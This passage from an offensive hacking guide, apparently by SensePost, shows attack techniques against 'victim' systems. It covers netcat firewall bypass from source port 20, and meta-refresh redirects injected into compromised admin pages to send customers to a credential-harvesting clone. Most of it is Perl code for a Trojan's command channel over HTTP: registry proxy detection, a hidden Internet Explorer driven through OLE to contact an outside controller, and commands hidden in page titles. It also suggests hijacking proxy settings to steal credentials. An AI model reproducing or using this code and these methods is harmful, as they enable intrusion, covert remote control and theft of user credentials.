If you need a tool that is not available in PERL or script then you have to re-compile it on the victim's platform. If the victim have no compiler, or the program does not want to compile (making *nmap* from sources on a VMS mainframe can become hairy) then you will have to find a "friendly" platform where you can compile the sources and transfer the binaries to the victim. This is not so easy as it seems and you will see many "*If anyone has an IRIX machine to spare drop me a mail*"-type messages in hacker newsgroups or mailing lists.

Things that do not fit in anywhere - misc.

There are many cute tricks that can be performed while trying to break into a system. I don't really want to create a section for each of it - so I list all of it here.

Network level attack - Source port 20,53

Some of the ancient firewalls and lousy implemented screening routers have a problem with dealing with FTP reverse connections. For those that does not know how it works - a normal (active) FTP session works like this. The FTP client makes a connection from a random port to port 21 on the FTP daemon. This is the control connection. As soon as you type "*ls*" or "*get*" or "*put*" a secondary connection (the data connection) is needed. This connection is made from the FTP server with a source port of 20 to a port on the client. The client using the FTP native PORT command specifies the destination port of the reverse connection. As such the client's firewall needs to allow connection from source port 20 to (high) destination ports in order for the reverse data connection to be made. With stateful inspection firewalls the firewall will monitor (sniff) the initial outgoing (control connection) packets. When it sees the *PORT* command, it will automatically open the packet filters to allow the reverse connection to the client on the port that it specified (this is the source of much mischief - spoofing such *PORT* commands could be used to fool the firewall to open up a port on an IP number that it is not suppose to). Firewalls that do not make use of stateful inspection have a problem with these reverse connections. If we can change our source port to 20 we could bypass the filters and connect to an IP on a high port. How? Using *netcat*:

```
> nc -n -p 20 -v 196.38.xxx.251 1024
(UNKNOWN) [196.38.xxx.251] 1023 (?) : Operation timed out
> nc -n -p 20 -v 196.38.xxx.251 1025
(UNKNOWN) [196.38.xxx.251] 1025 (?) : Connection refused
```

As can be seen from this example - when we connect to a port <= 1024 we hit the packet filter. Trying ports > 1024 we are bypassing the filter (although there is nothing running on port 1025. What is the use then - nothing runs on ports > 1024. Wrong. MS-SQL runs on 1443, IRC on 6667, some Cisco configurations on 2001,3001, Squid on 3128, and a lot of proxies on 1080,8080 etc. So let us assume that we want to access an MS-SQL box sitting behind a crappy firewall that allows connection with source port 20. How do we put it all together? *Netcat* again:

```
> cat > go.sh:
#!/bin/sh
/usr/local/bin/nc -p 20 -n victim 1433
^D
> nc -l -p 1433 -e go.sh
Hit your own machine with Microsoft SQL Enterprise Manager.
```

This is just about straight from the *netcat* documentation - so be sure to read it as well. *go.sh* is execute when the SQL manager hit port 1433; it makes a connection to the victim using source port 20.

For applications that use multiple connections (such as HTTP) you will need to have *nc* in a loop - so that it fires off a new instance of *go.sh* for every new connection. As this is explained in the *netcat* docs I will not repeat it here.

In exactly the same way you could experiment with source port 53 - (DNS zone transfers). Also keep in mind that we are only taking about TCP here - think about DNS...source port 53 to high ports using UDP, and NFS running on port 2049...get creative!

HTTP-redirects

We have been concentrating a lot on webservers - like said earlier in this document, there is an abundance of webservers out there, and they are been used in more and more situations. Another neat trick is using HTTP redirects. Many webservers have customized management pages "hidden" somewhere on the same site. Typically these are developed by the same people

that developed the main site, and are used by the owners of the webpage to facilitate updating of news snippets, tickers and "new bargain offerings". In most cases these pages consists of a login page and a pages where the administrator can change the site content - served after login have occurred.

Once the backend management page has been found, (see HTTP section – data mining) and the administrator's username and password has been cracked (see HTTP - basic authentication or web-based login) you should be in a position to add, alter or delete items. In most cases the description of these items (be that a product description, news item, or special offering) is HTML sensitive. This means it could read like this: *<h1> Big savings </h1>*. While this in itself is harmless (unless you want write a note in extra large, blinking letters about the site's security) it does have potential for interesting use. By changing the description to an HTTP-redirect you could redirect clients to a completely different site. An HTTP-redirect looks like this:

```
<META HTTP-EQUIV=REFRESH CONTENT=0;URL=http://www.sensepost.com>
```

Obviously you will have to change the URL unless you want to redirect visitors to our website. Although this is a quick way to do a complete deface of a site it should be used for more interesting activities. You might want to completely copy the "target" website to your server, and direct customers to a slightly modified copy. The copy would of course mine customer details and send forms to the real server - it would appear totally transparent to the casual netizen. The copy could also contain some nasty content level attacks - remember *Brown Orifice* (August 2000)?

Other Topics

Trojans (added 2001/09)

If you are reading this guide, you most prolly have heard of Trojans like *Back Orifice, NetBus, Sub7* and the likes. And you prolly know that you connect to these Trojans on certain ports (with some you can even spec the port). This is all nice and neat when you are running a Trojan on a host that is not firewalled. Thing is – hosts that are not firewalled is rarely interesting. What you want is a Trojan on the inside of a network – in the core of a network. Let us assume that your victim is sitting on an unrouted network (10,172.16 or 192.168 net), with proxy firewall and a NAT router in front of it. How do you connect to your Trojan?

Well – you don't. There is just no way that your packet is going to reach a host on the inside of a properly firewalled network – not even if it is an UDP packet on a super high port – just forget it. So the Trojan writers have come up with some interesting ways to "control" their Trojans. The Trojan could possibly connect out from the network, and register itself on an IRC channel. By chatting to the "robot" you can now control the actions of the Trojan. The same is done with ICQ. This is sweet & all, but what do you do when the user (on the internal network) is not allowed to IRC or ICQ (which is the case on many networks)?

Let think about the problem for a bit. You need a way to communicate with the Trojan – you need to send data to it, and receive data from it. Somehow you got to get info from the host, and send data to the host. In a tightly filtered, firewalled network – what goes in and out of the network? Let's think – a user in such a network – how does the user communicate with the outside world? What applications does the user use? Email for one. Browsing. For sure – most employees can browse the net. Lets concentrate on HTTP for now. Email has some nasty problems.

HTTP is made up of two parts – a request and a reply. The request is made at the client, and the reply is send from the webserver. No matter how complex the setup with proxies, content filters, virus scanners, NAT, firewalling, the browser makes an HTTP request and the server replies with a reply. In between the client and the server a lot can happen. A firewall might check that the request is really a HTTP request and that the response is a valid HTTP reply – but still – data is send and received (inside the HTTP spec). Thus – if the Trojan sends data within a HTTP request and the server sends data in a HTTP reply we got two-way communication.

HTTP is not without problems. The Trojan needs to make the connection to a host. A normal HTTP request could look like this:

```
GET /data HTTP/1.0
```

This is fine when not using a proxy. But (as has been shown earlier) if you use a proxy then the request looks like this:

```
GET http://server.com/data HTTP/1.0
```

Thus – the Trojan must detect if a proxy is configured – if so – it needs to get the address of the proxy, make the connection to the proxy, and alter the HTTP request so that the proxy knows where to connect to. How do we know if we should use a proxy – well – it's a setting in the registry. Hereby part of a PERL script that will do just that:

```
$string="regedit -a c:\\reg.txt
"."\"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet
Settings\"";
@no=`$string`;
if (open (REG,"c:\\reg.txt")){;
 while (<REG>){
  if ($_ =~ /ProxyEnable/) {
   if ($_ =~ /1/) {$proxy=1;}
  }
  if ($_ =~ /ProxyServer/){
   ($duh,$proxystring)=split(/\=/,$_);
   $proxystring=~s/\"//g;
   ($proxyserver,$proxyport)=split(/:/,$proxystring);
   chomp $proxyserver; chomp $proxyport;
   print STDOUT "[proxyserver = $proxyserver, port = $proxyport]\n";
  }
 }
}
if ($proxy==1) {
 print "We have a proxy\n";
 $host=$proxyserver; $port=$proxyport;
} else {
 print "No proxy\n";
 $host=$myhost; $port=$myport;
}
```

Another problem with HTTP is encoding – special character have the tendency to get buggered if transmitted without being encoded first. No problem – we just encode the request and the reply in hex. No doubt others will quickly find ways to build basic compressions into this as well – but hereby a PERL script that will encode a string as needed (this only the request – the reply is exactly the same):

```
$response =~ s/(.)/(sprintf("%%%x",ord($1)))/ge;
$response =~ s/([\n])/(sprintf("%%%x",ord($1)))/ge;
```

On the other end – the response is decoded:

```
@hexit=split(/\%/,$data);
foreach $char (@hexit){printf("%c",hex($char));}
```

So – building a client/server is not that difficult. Lets look at the process:

- Victim executes the Trojan code
- Trojan queries registry to see if there is a proxy configured
- Trojan send a HTTP request (via proxy or direct) to the "controller", stating that it is "alive".
- Controller process accepts the HTTP request, prompts the controller for a command.
- Command is entered, encoded, and encoded in a HTTP reply.
- Trojan gets the reply, decodes the command and executes it.
- Trojan gets the output of the command, encodes it, and encodes it into the next HTTP request.
- Process repeats

This tends to work fine…excepts (always) when the proxy is using User Authentication. See, then the request needs to contain User Authentication information, and we no way to know this piece of information. Request without authentication information is simply not passed along to the "server". So…now what?

We can control the registry. The proxy settings are stored in the registry. How about we change the proxy – just for a while – so it point to a process that is under the control of the Trojan (setting it to localhost)? Clearly the username and password will be passed to us then? And after we have this, we simply point the proxy setting back to the original proxy. This would mean that the first time our Trojan fires up, the user will be prompted for a username and password, but most users do this without thinking about it twice. After this, we have the username and the password, and the requests that the Trojan makes could contain the Authentication information. Neatish, but really not elegant enough.

What if we control the browser? Microsoft has this cool thing called OLE, and it is used to control applications with other external programs (that how apps gets their help files in your browser). An external process can start a browser, surf the net and do just about anything. And it can do it without showing a browser to the user on the screen – it runs in the background. So the idea would be to let the Trojan control the browser, to let the browser surf for example "http://controller/<output of command, encoded>". But how do we get the command to execute back? See – it would be fine if we can "surf" a page that contains the next command, and save the output of the "webpage" to a file. The file would contain the next command to execute, and the subsequent request would be the output of that command. But the Microsoft guys aren't that stupid – the only browser function that cannot be controlled with OLE is "Save to disk". So how do we get the next command? Luckily the browser displays the title of a webpage as the browser window title. And the title can be read with OLE. So – we only need to send the command (encoded) as the title of the reply. Confused? OK – lets do it slowly.

On the client (Trojan) side we start an "invisible browser":

```
my $ie = Win32::OLE->new('InternetExplorer.Application');
$ie->{Visible} =0;
```

After encoding the output (of the previous command) we let the browser surf there with OLE:

```
$ie->Navigate("http://$host:$port/$response");
```

In the above case, $host and $port will be that of the "controller" process. We don't have to worry about proxies and authentication – the browser that we control runs with the properties of other normal browsers.

At the controller side, we get the request, decode it and display it:

```
#getting the answer from trojan
while (<NS>) {
 $getin=$_;
 if ($getin =~ /GET/){
   #decode it
   @hexit=split(/\%/,$getin);
   foreach $char (@hexit){
    printf("%c",hex($char));
   }
  goto outofit
 }
}
```

Now – at the controller – we prompt the controller for the new command, encode it, and put it in the title of the returned "webpage":

```
#encode command
$command =~ s/(.)/(sprintf("x%x",ord($1)))/ge;
$command =~ s/([\n])/(sprintf("x%x",ord($1)))/ge;
####Build HTTP response
$xtosend=<<EOT
HTTP/1.1 200 OK^M
Server: Microsoft-IIS/4.0^M
Date: Tue, 01 Apr 2000 00:00:00 GMT
Content-Type: text/html

<title\>$command\$\<\/title\>
EOT
;
$xtosend=~s/\n/\r\n/g;
print NS $xtosend;
```

As can be seen – the encoded response (.the new command) is contained in the title of the page. Nice how we respond like we are an IIS server version 4. Oh, and note the date.

At the Trojan side we now have to extract the title from the "browser" with OLE. With OLE we can even check if the "browser" is finished downloading our reply:

```
#wait to download complete..
for (;;){
 sleep 2;
 if ($ie->{Busy} == 0) {last;}
}
#get the new command -its in the location field..
$com=($ie->{LocationName});
```

And that is that. No worries about proxies or authentication. With this example we used a "command", but it would work fine for any form of communication. What I am saying is that you could have a Trojan like Subseven using this form of communication. What I explained is just a medium – what you put on top of this is entirely up to you. A note – there is obviously a limit to the amount of data that you transmit with every request/reply. A GET request is limited to 256 bytes of data, and the size of a titlebar is also limited. Normally the data transmitted from the controller to the Trojan is minimal; it's the data from the Trojan to the client that can get bulky (like watching the webcam's feed). A way to get past this problem is to use POSTs and not GETs (some firewalls might block POSTs) or to use multiple requests. To make it a reliable communication medium one would prolly have to put checksums and timestamps on the requests and the replies (and remember to compress a bit) – but this is just implementation issues. Another implementation issue is that of caching. If the Trojan requests the same URL (and a caching proxy is used) the cache will reply, and the controller will never get the request. Adding a random number to the request and reply solves this problem. Oh, and you wouldn't want to code the Trojan in PERL…

Another way to transport data to and from a Trojan is via DNS request and replies. A request to unknown.sensepost.com ends up at the name server for sensepost.com, no matter how. And the name server for Sensepost.com could reply with a CNAME of "notunknown.Sensepost.com". And that reply gets to whoever made the request. It does not matter how many name servers passed it on. With DNS requests things gets a little hairy – DNS use UDP as transport, and UDP is not very reliable. Checksums, and packet-stamps are not optional. The problem with this method is that clients in tight firewalled network rarely get to do DNS requests. Normally they connect to their proxy, and the proxy does the actual request.

ICMP ping packets can also be used as a transport mechanism. Embedding the request in the "payload" of the ping request packet and getting the response back in embedded in the response ping packet have been shown to work in environments where ping is allowed to enter and leave a network. Again – in tightly firewalled networks ICMP is rarely allowed to enter or leave.

The bottom line – Trojans where you have to connect to the Trojan is ancient. It works in very limited environments. The first thing to alter is to get the Trojan to connect to the controller – the second is to find a communication media that will work even from non-routed networks. HTTP looks as though it could do the thing.